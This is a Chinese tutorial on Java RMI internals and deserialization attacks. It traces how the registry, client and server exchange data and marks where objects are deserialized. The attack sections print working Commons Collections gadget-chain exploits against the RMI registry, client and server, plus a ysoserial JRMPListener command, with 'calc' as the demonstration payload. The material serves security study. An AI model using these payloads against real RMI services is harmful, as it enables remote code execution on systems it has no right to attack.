Java 安全-RMI學習總結
概念
在Java反序列化漏洞有著一些老生常談的名詞理解
COBAR
(Common ObjectRequest Broker Architecture)公共物件請求代理體系結構,名字很長,定義的一個結構(規定語言在使用這個結構時候分哪幾個部分,因為我們後面的序列化過程都是按照這個結構來的)
這個結構當然是抽象的,後面在具體程式碼實現上才會呈現這個結構部分,所以這裡理解三個部分互相大致的關係就好。
CORBA結構分為三部分:
- naming service
- client side
- servant side
三個部分之間的關係就好比人看書,naming service擔任著書中目錄的角色,人(client side
stub(存根)和skeleton(骨架)
簡單三個部分說了,但是實際這個結構中稍微複雜一些,client和servant之間的交流還必須引入一個stub(存根)和skeleton(骨架),簡單理解就是client和servant之間多了兩個人替他們傳話,stub給client傳話,skeleton給servant傳話,說白了也就是充當client和servant的"閘道器路由"的一個功能。具體存根和骨架幹了啥,師傅可以去看下RMI通訊過程原理。
GIOP && IIOP
全稱通用物件請求協議,試想一個下客戶端和服務端之間交流肯定要遵循某種協議的,這裡GIOP
JNDI
JNDI (Java Naming and Directory Interface) 全稱是java名詞目錄介面,其實可以發現這裡JNDI就是前面CORBA體系中那個naming service的角色,在Java中它有著Naming Service和Directory Service的功能,說白了就是給servant那邊在目錄中註冊繫結,給client那邊在目錄中查詢內容。
LDAP
LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協議)是一種目錄服務協議,這個在後面測試中也常會看到LDAP服務和RMI服務起的接收端,LDAP主要充當目錄服務的協議,用來儲存一些屬性資訊的,但要和RMI區別開來,LDAP是用於對一個存在的目錄資料庫進行訪問,而RMI提供訪問遠端物件和呼叫
RMI
RMI(Remote Method Invocation,遠端方法呼叫)是用Java在JDK1.2中實現的,它大大增強了Java開發分散式應用的能力。
JRMP
Java本身對RMI規範的實現預設使用的是JRMP協議。而在Weblogic中對RMI規範的實現使用T3協議。
JRMP:Java Remote Message Protocol ,Java 遠端訊息交換協議。這是執行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通訊要滿足的規範。
RMI可以使用以下協議實現:
Java遠端方法協議(JRMP):專門為RMI設計的協議
Internet Inter-ORB協議(IIOP):基於CORBA實現的跨語言協議
RMI概述
RMI(Remote Method Invocation)為遠端方法呼叫,是允許執行在一個Java虛擬機器的物件呼叫執行在另一個Java虛擬機器上的物件的方法。 這兩個虛擬機器可以是執行在相同計算機上的不同程序中,也可以是執行在網路上的不同計算機中。
不同於socket,RMI中分為三大部分:Server、Client、Registry 。
Server: 提供遠端的物件
Client: 呼叫遠端的物件
Registry: 一個登錄檔,存放著遠端物件的位置(ip、埠、識別符號)
RMI基礎運用
前面也說過RMI可以呼叫遠端的一個Java的物件進行本地執行,但是遠端被呼叫的該類必須繼承java.rmi.Remote
介面。
-
定義一個遠端的介面
import java.rmi.Remote; import java.rmi.RemoteException; public interface IRemoteObj extends Remote { public String RmiDemo(Object obj) throws RemoteException; }
在定義遠端介面的時候需要繼承
java.rmi.Remote
介面,並且修飾符需要為public
否則遠端呼叫的時候會報錯。並且定義的方法裡面需要丟擲一個RemoteException
的異常。 -
編寫一個遠端介面的實現類
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class IRemoteImpl extends UnicastRemoteObject implements IRemoteObj { protected IRemoteImpl() throws RemoteException { super(); } @Override public String RmiDemo(Object obj) throws RemoteException { System.out.println("RmiDemo"); return "Here is RmiDemo"; } }
在編寫該實現類中需要將該類繼承
UnicastRemoteObject
。 -
建立伺服器例項,並且建立一個登錄檔,將需要提供給客戶端的物件註冊到註冊到登錄檔中
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ServerDemo { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remote = new IRemoteImpl(); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); registry.bind("remote", remote); System.out.println("Server is ok"); //UnicastRemoteObject.unexportObject(remoteMath, false); 設定物件不可被呼叫 //當然也可以通過java.rmi.Naming以鍵值對的形式來將服務命名進行繫結 } }
到了這一步,簡單的RMI服務端的程式碼就寫好了。下面來寫一個客戶端呼叫該遠端物件的程式碼。
-
編寫客戶端並且呼叫遠端物件
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ClientDemo { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost",1099); // 從Registry中檢索遠端物件的存根/代理 IRemoteObj remoteQing = (IRemoteObj) registry.lookup("remote"); String Str = remoteQing.RmiDemo("a"); System.out.println(Str); } }
在這一步需要注意的是,如果遠端的這個方法有引數的話,呼叫該方法傳入的引數必須是可序列化的。在傳輸中是傳輸序列化後的資料,服務端會對客戶端的輸入進行反序列化。這就造成了漏洞隱患。
RMI流程原理
因為建立的流程中是在本地進行,不涉及通訊的過程,所以這裡我們主要看的是請求的部分,建立的部分理一下流程
建立遠端服務
建立遠端物件其實就是例項化物件
然後我們跟進看一次下,然後是進入到我們介面的建構函式
這裡我們繼承了UnicastRemoteObject類,物件的建立就是在父類的建構函式中建立的,跟進
這裡實際上是會把遠端物件釋出到一個隨機的埠,這裡是預設埠,然後進入exportObject,這就是一個釋出函式
我們可以看到這是一個靜態函式,之前因為繼承了UnicastRemoteObject類,所以靜態函式會自動執行,不然的化就要手動呼叫這個靜態函式
然後看傳遞的引數樂意瞭解到傳遞了一個遠端物件和一個UnicastServerRef類,前面的遠端物件的作用是用來真正實現邏輯的,後面一個引數是用於處理網路請求的,傳遞進去一個埠,IP自動獲取
然後繼續跟進
然後在這裡又建立了一個LiveRef類,繼續向下跟進
這裡呼叫了LiveRef的建構函式,第一個引數是ID,然後第二引數是處理網路請求的一個類,然後繼續向下跟進
然後LiveRef類中的ep就儲存了有ip,埠和真正處理網路請求的TCPEndpoint,這裡還是一層封裝,然後就繼續向下走,我們就回到了UnicastServerRef
然後就呼叫了父類UnicastRef的構造方法
其實也是就一個賦值,然後其實也可以發現這裡一個叫UnicastRef,另一個叫UnicastServerRef,其實這也就是一個對應客戶端一個對應服務端,繼續向下
然後其實這個還是之前建立的那個,對應著遠端服務的埠,其他都只是賦值,並沒有重新建立,然後就出來了,又回到了exportObject
然後繼續向下
然後這裡傳進來了我們之前建立的UnicastServerRef,然後又重新進行了賦值,但是這裡面其實還是我們之前的LiveRef,然後接下來又呼叫了exportObject,在這整個過程中一直都在呼叫exportObject,只是在不同的類去呼叫
然後在這裡建立了一個代理stub,然後根據之前的流程圖可以得知這個stub其實就是客戶端真正呼叫的代理,也就是真正進行網路請求的東西
然後這客戶端的東西在服務端建立了,這就很奇怪,但是這個流程其實是先在服務端建立好了之後再放到註冊中心去,然後客戶端去註冊中心去拿,然後再對其進行操作,讓他呼叫服務端的代理去操作服務端
stub是在這個步驟(stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
)進行建立的,跟進去
然後可以先看一下引數
傳進來的類然後和clientRef,並且在clientRef裡面還是我們之前建立的LiveRef,然後繼續向下會有一個判斷(if (forceStubUse ||!(ignoreStubClasses ||!stubClassExists(remoteClass)))
),這裡為Ture的話就對建立stub,然後為Ture的情況是stubClassExists(remoteClass)
為Ture,跟進去
然後在這裡可以瞭解到,這裡會在名字後加上_Stub
,如果有這個類的話就會為真,但是我們沒有寫這個類,實際上是在JDK中自己定義了這個類
如果說要呼叫這些類的話就會直接到這裡面找,但是我們現在沒有用到,這裡也就是false,然後接下來就是一個建立動態代理標準流程,然後我們可以看見在handler中儲存的還是我們之前的LiveRef
然後到這裡我們的動態代理就建立好了
然後接下來建立了以一個Target,這裡其實是一個總封裝,並且它的id和我們建立的LiveRef中儲存的id是一樣的,這其實就能夠說明這中間最核心的就是LiveRef
然後繼續向下執行到ref.exportObject(target);
,然後我們跟到呼叫的部分,然後就跟進到TCPTransport的exportObject
然後這裡我們就能看到listen()
,也就是在這裡真正的對網路請求進行處理了,跟進
然後在其中可以看到開啟了一個新的執行緒,區分於程式碼邏輯的執行緒,然後開啟執行緒等到客戶端的連線,然後在過程中也給埠進行了賦值(之前是預設值0)
然後這個遠端物件就已經發布出去了,繼續向下執行到super.exportObject(target);
跟進
先是進行了一個賦值,然後執行putTarget
在這過程中這裡將target儲存在了自己定義的一個靜態的表裡面,然後到這裡釋出的整個過程就就完成了
建立註冊中心
建立註冊中心的流程在大致上和建立遠端服務的差不多,主要的差別就是在建立代理(createProxy
)的時候
之前是沒有找到類,但是在建立註冊中心的時候是能夠在JDK自己的類中找到對應的類的,然後直接forName
建立代理類,然後繼續向下走
這裡是判斷一下是否是服務端創建出來的,如果為Ture就呼叫一個setSkeleton方法
然後會呼叫一個createSkeleton
方法
Skeleton可以根據之前的流程圖得知他是服務端的代理,然後這也是通過forName
直接創建出來的
然後回到UnicastServerRef#exportObject
可以發現impl中儲存的ref中加了一個skel物件,接下就是建立Target,並且把Target儲存,進入ref.exportObject(target);
中,然後走到putTarget的位置
然後檢視ObjectTable中儲存了一些什麼,然後我們建立的遠端物件應該都是儲存在這個裡面的
然後發現儲存了三個物件
其中DGCImpl_Stub
並不是我們建立的,這個是預設建立的一個分散式垃圾回收的類,這也是一個很重要的類,然後剩下的兩個就是我們自己建立的兩個類
一個遠端服務的動態代理Stub類這裡面的skel為null,一個註冊中心的Stub類並且裡面存在一個skel
繫結註冊中心
建立註冊中心之後就是繫結註冊中心了
這裡首先進行了一個檢測是否本地繫結,然後bindings其實可以看到就是一個Hashtable
然後會檢測裡面有沒有繫結的物件,如果有了的話就會報一個已經繫結的異常,沒有的話就會把它put進去
客戶端請求註冊中心——客戶端
流程:
從註冊中心獲取遠端代理
----> 通過代理對服務端進行遠端呼叫
首先看獲取註冊中心
這裡其實和之前服務端建立註冊中心是一樣的,這裡也在是本地建立了一個LiveRef,然後把ip和埠放了進去,然後封裝了一下,再然後就是又呼叫了Util.createProxy
方法重新建立了一個Stub
然後就獲取到了註冊中心的Stub物件了,接下來就是通過它查詢遠端物件
反序列化點1
這裡我們傳了一個字串進入來,然後將字串寫進了var3輸出流裡面,也就是經過序列化的,然後在這裡其實就可以瞭解到在註冊中心接收到之後肯定是要經過反序列化操作的,這裡也就存在一個反序列化點,然後往後走呼叫了一個invoke的啟用的方法
反序列化點2
然後又呼叫了executeCall的方法,這個方法就是客戶端真正進行網路請求處理的方法,然後執行完之後又獲取了一個輸入流(返回值),然後通過反序列化的操作讀出來
反序列化點3——JRMP攻擊
然後在executeCall中還有一個點
在這裡的話如果產生了這個異常的話也會通過反序列化讀出物件,這裡的本意應該是如果產生了異常了就通過反序列化讀出更詳細的異常資訊
最後就是獲取到remote物件
客戶端請求服務端——客戶端
因為呼叫的是動態代理類,所以必然會走到invoke方法中
然後先經過一串if判斷,然後進入invokeRemoteMethod
然後又進入了一個重寫的invoke方法
之前也還是建立連線,然後呼叫了一個marshalValue
反序列化點4
這裡是做了一個序列化的操作,傳進去的值就是我們之前傳的字串引數,然後又還是呼叫了call.executeCall();
這裡之前說過了,這裡就存在反序列化點,然後繼續向下走
反序列化點5
這裡就是獲取返回值的操作,將返回的輸入流反序列化得到結果
客戶端請求註冊中心——註冊中心
在之前的建立註冊中心的流程中執行了一個listen();
方法,在這裡建立了一個新的執行緒用於網路請求,進入listen();
方法
然後可以看見在listen();
方法中又新建了一個執行緒
進入AcceptLoop,看新執行緒中的run方法
這裡面就執行了executeAcceptLoop();
,進入
然後在這裡面又建立了一個執行緒池,所以我們進入ConnectionHandler,並且檢視它的run方法
這裡面實際上也就是呼叫了run0(),進入
然後在run0()首先就開始解析協議裡面的欄位,然後走到後面呼叫了handleMessages
,進入handleMessages
首先也是讀一些欄位,然後根據傳過來的欄位值做一些不同的case操作,預設是呼叫的serviceCall
然後在這裡面獲取之前提到的Target,然後我們可以看一下這個Target裡面儲存了些什麼
這裡可以看到裡面儲存的就是我們之前建立的RegistryImpl_Stub
,然後獲取了disp(分發器)
在這裡面儲存了skel,然後在後面執行了disp.dispatch(impl, call);
,跟進
然後因為之前我們disp有skel,所以這裡不為空,進入oldDispatch
然後在這個就走到了skel.dispatch(obj, call, op, hash);
,終於到了skel裡面,註冊中心其實也可以看作一個特殊的服務端
反序列化點6
這裡通過不同的case呼叫不同的方法,這裡我們以我們現在待用的case2(lookup)為例
這裡註冊中心首先通過反序列化讀取我們傳過來的遠端物件的名稱
客戶端請求服務端——服務端
前面的網路相關的邏輯都是一樣的,我們先看到Target裡面的Stub為動態代理
然後也會走到disp.dispatch(impl, call);
但是不同的是這裡的skel為null,就沒有進入oldDispatch
反序列化點7
但是繼續往下走也還是獲取了一個輸入流,然後將輸入流反序列化得到客戶端傳遞過來的引數
反序列化點8
然後向下走就是服務端將返回值序列化之後在傳遞給客戶端
客戶端請求服務端——DGC
之前我們分析的時候瞭解到在建立註冊中心的時候裡面儲存的Target儲存了三個物件
- 遠端服務的動態代理Stub類
- 註冊中心的Stub類
- DGCImpl_Stub
這裡我們先回到建立註冊中心的putTarget步驟
目前來說在target裡面放的還是遠端物件,然後向下走,按照流程來說的話要走到objTable.put(oe, target);
這裡才會把遠端物件放進去,但是還沒進行的時候其實objTable裡面就是放進去了一個物件也就是DGCImpl_Stub
然後其實在之前的步驟中也可以看見它的建立流程
這裡看起來只是一個函式的呼叫,但是這裡的dgcLog
其實是一個類裡面的靜態變數,然後對靜態變數進行呼叫的時候其實是會完成類的初始化的,呼叫到靜態程式碼塊
走到這裡,然後繼續向下看
繼續
這裡就是DGC的建立過程
然後處理邏輯也就是和之前的一樣,對disp中的skel進行處理
然後我們重點看一下DGC的功能
DGCImpl_Stub
先看一下DGCImpl_Stub
裡面兩個方法,相當於一個強清除,一個弱清除
然後看其中內容可以發現
反序列化點9
在clean方法中這裡呼叫了RemoteStub的invoke方法
然後就又會走到call.executeCall();,這也還是利用的JRMP攻擊
反序列化點10
然後在dirty方法中這裡接受了一個輸入流然後進行了反序列化的操作
DGCImpl_Skel
然後看DGCImpl_Skel
相對應的肯定還是會有的
而且由於DGC的特性:建立了遠端物件肯定會有DGC的服務,而且這裡還不用知道引數型別
反序列化攻擊方式
前面分析了客戶端、服務端、註冊中心三者建立及互動,其通訊過程是基於序列化的,那麼有序列化,自然就會有反序列化,所以我們只需要根據反序列化的點去攻擊
攻擊註冊中心
在RegistryImpl_Skel可以發現我們可以通過以下方法與註冊中心進行互動:
- list
- bind
- rebind
- rebind
- lookup
我們來看看註冊中心對這幾種方法的處理,如果存在readObject,則可以利用其進行反序列化攻擊。
list
因為list中沒有readObject方法,所以無法攻擊註冊中心。
bind & rebind
在呼叫bind
和rebind
的時候都會呼叫readObject讀出引數名和遠端物件,這裡可以利用
Payload
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //建立第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //建立proxy物件
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler));
registry.bind("test", r);
}
}
重點關注:
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
Remote.class.cast這裡實際上是將一個代理物件轉換為了Remote物件:
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler)
上述程式碼中建立了一個代理物件,這個代理物件代理了Remote.class介面,handler為我們的handler物件。當呼叫這個代理物件的一切方法時,最終都會轉到呼叫handler的invoke方法。
而handler是InvocationHandler物件,所以這裡在反序列化時會呼叫InvocationHandler物件的invoke方法
然後這裡會呼叫memberValues
的get方法,此時的memberValues
是proxy_map
,其也是一個代理類物件,所以會繼續觸發proxy_map
的invoke
方法,後邊的就是cc鏈的前半段內容了。
unbind & lookup
這裡我們可以發現unbind和lookup實際上都會呼叫readObject來讀取傳遞過來的引數,所以同樣是可以利用的。
只不過這裡存在一個問題,我們呼叫unbind或者lookup時,只允許我們傳遞字串,所以沒法傳遞我們的惡意物件。
這裡我們可以利用偽造連線請求,直接通過反射實現
想要手動偽造請求,我們需要判斷一下執行lookup的時候,的執行流程
在呼叫lookup之前,我們需要先獲取客戶端,通過getRegistry方法返回的是一個Registry_Stub物件。
Registry_Stub#lookup
我們只需要照抄一遍,再修改一下程式碼即可。
Demo:
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //建立第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //建立proxy物件
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
//
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 獲取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//獲取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 偽造lookup的程式碼,去偽造傳輸資訊
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
然後,unbind也是同樣的流程
攻擊客戶端
註冊中心攻擊客戶端和服務端
PS:因為客戶端和服務端都需要和註冊中心進行通訊,所以可以通過惡意的註冊中心攻擊客戶端,也可以攻擊服務端
這裡我們以攻擊客戶端為例
對於註冊中心來說,我們還是從這幾個方法觸發:
- bind
- unbind
- rebind
- list
- lookup
這裡的每個方法,除了unbind和rebind,其他的都會返回資料給客戶端,此時的資料是序列化的資料,所以客戶端自然也會反序列化,那麼我們只需要偽造註冊中心的返回資料,就可以達到攻擊客戶端的效果啦。
這裡ysoserial的JRMPListener已經做好了,命令如下:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc
Client Demo:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
registry.list();
}
}
這裡應該是在之前傳輸一些約定好的資料時進行的序列化和反序列化,所以這裡即使是呼叫的unbind的時候也會觸發反序列化
服務端攻擊客戶端
服務端攻擊客戶端的場景呆滯分為以下兩種
- 服務端返回Object物件
- 使用codebase
服務端返回Object物件
在RMI中,遠端呼叫的方法返回的不一定是一個基礎資料型別,也有可能是返回一個物件,在服務端給客戶端返回一個物件的時候,客戶端就會對其進行進行反序列化操作
所以我們可以偽造一個服務端,當客戶端呼叫某個遠端物件的時候,返回的就是我們事先構造好的惡意物件
惡意IRemoteImpl:
public class IRemoteImpl extends UnicastRemoteObject implements IRemoteObj {
protected IRemoteImpl() throws RemoteException {
super();
}
@Override
public Object RmiDemo(Object obj) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //建立第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //建立proxy物件
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
return AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
}
}
惡意服務端:
public class ServerDemo {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remote = new IRemoteImpl();
Registry registry = LocateRegistry.createRegistry(1099);;
registry.bind("remote", remote);
System.out.println("Server is ok");
//UnicastRemoteObject.unexportObject(remoteMath, false); 設定物件不可被呼叫
//當然也可以通過java.rmi.Naming以鍵值對的形式來將服務命名進行繫結
}
}
當客戶端呼叫了服務端繫結的物件的惡意方法的時候,就會反序列化從服務端傳遞過來的惡意物件,從而觸發RCE
當然,這種前提是客戶端也要有對應的gadget才行。
遠端載入物件
這個條件十分十分苛刻,在現實生活中基本不可能碰到。
當服務端的某個方法返回的物件是客戶端沒有的時,客戶端可以指定一個URL,此時會通過URL來例項化物件。
具體可以參考這篇文章,利用條件太過於苛刻了:Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)
java.security.policy這個預設是沒有配置的,需要我們手動去配置。
攻擊服務端
首先第一種方法就是和之前註冊中心攻擊客戶端是一樣的
服務端的遠端方法存在Object引數
服務端的某個方法,傳遞的引數是Object型別的引數,當服務端接收資料時,就會呼叫readObject,所以我們可以從這個角度入手來攻擊服務端。
前提:
- 服務端的某個遠端方法傳遞引數為Object
Client Demo:
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost",1099);
// 從Registry中檢索遠端物件的存根/代理
IRemoteObj remoteQing = (IRemoteObj) registry.lookup("remote");
Object obj = remoteQing.RmiDemo(payload());
System.out.println(obj);
}
public static Object payload() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
return annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
}
}
遠端載入物件
和上邊Server打Client一樣,都屬於十分十分十分難利用的點。
參考:https://paper.seebug.org/1091/#serverrmi
JDK高版本
之前使用的是JDK的比較老的版本(1.8.0_65),實際上隨著jdk版本的更新,RMI實際上是做了一些防禦處理,在8u121做了一些升級措施
在RegistryImpl中做了白名單處理
白名單內容:
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID
只要反序列化的類不是白名單中的類,就會返回 REJECTED 操作符,表示序列化流中有不合法的內容,直接丟擲異常。
這裡的限制實際上來說就已經很嚴重了
然後DGC的限制實際上更加嚴重,在DGCImpl中加入了checkInput函式
只有限定的幾個類才允許反序列化
然後遠端物件直接反序列化的需要知道遠端物件的具體引數才行,這個也是有限制的